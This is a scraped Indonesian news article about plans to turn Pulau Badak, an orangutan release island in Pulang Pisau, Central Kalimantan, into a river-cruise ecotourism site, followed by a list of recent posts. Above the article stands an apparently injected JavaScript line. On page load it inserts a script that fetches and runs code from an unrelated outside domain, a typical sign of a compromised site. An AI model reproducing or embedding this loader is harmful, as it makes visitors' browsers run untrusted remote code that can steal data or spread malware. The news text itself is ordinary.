(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Pulau Badak dan Pulau Salat Direncanakan Jadi Ekowisata Susur Sungai


PULANG PISAU, Pengembangan Pulau Badak di Kecamatan Jabiren Raya sebagai Lokasi Ekowisata rupanya tinggal menunggu waktu. Pasalnya, sejak Pulau tersebut dijadikan lokasi untuk Pelepasliaran Orang Utan oleh Yayasan Borneo Orangutan Survival Foundation (BOSF) bekerjasama dengan Pemkab Pulang Pisau serta pihak Swasta.

Kini dukungan datang dari CSR MKM (Cabang dari Citra Borneo Indah atau CBI  Group), dimana lokasi tersebut direncanakan sebagai lokasi Ekowisata yang berbasis lingkungan. Hal tersebut disampaikan Bupati Pulang Pisau H. Edy Pratowo beberapa waktu lalu.

“Pulau Badak di daerah Pilang Kecamatan Jabiren Raya, di peruntukan menjadi rumah bagi orang Utan, hewan endemik Kalimantan yang memang saat ini populasinya terus menurun. Nah, rencana tempat itu juga sedang di rencanakan menjadi Ekowisata yakni dengan membuat wisata susur sungai,” terangnya.

Sehingga nantinya akan ada perahu khusus yang dibuat untuk wisata susur sungai mengelilingi Pulau badak ini, pengunjung memang tidak dibolehkan naik ke Pulaunya karena memang harus steril. Tapi tetap boleh menikmati pemandangan alam melalui perahu.

Bupati Pulang Pisau H. Edy Pratowo.
Foto: ist

Edy mengaku, untuk pengelolaan wisatanya sudah ada pihak-pihak yang mengaku berminat. Dirinya pun pun menyerahkan tehnisnya kepada Dinas Pariwisata dan Dinas Penanaman Modal Perizinan Terpadu Satu Pintu (DPMPTSP) untuk mengkaji lebih dalam. Seperti apa tata cara pengelolaan wisata yang akan dibentuk nanti. Dirinya optimis, akan banyak sumber daya lokal yang akan terserap jika Ekowisata tersebut jalan.

“Semuanya akan melibatkan masyarakat sekitar. Misalnya untuk penyediaan makanan orang utan ini, itu petani dan masyarakat yang mendapat kontrak untuk menyediakan makanannya. Belum lagi yang bisa membuka warung makan untuk pengunjung. Kemudian kalau wisata susur sungai diadakan, masyarakat juga yang akan jadi operatornya. Kita harapkan, tidak hanya Pulau badak saja yang hidup wisatanya namun daerah lain yang juga punya potensi wisata,” tukasnya. (Sjy)

Reporter: Sjy
Editor: Chell

Desy Arfianty

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

14 menit ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

3 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

3 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

17 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

19 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

22 jam ago

This website uses cookies.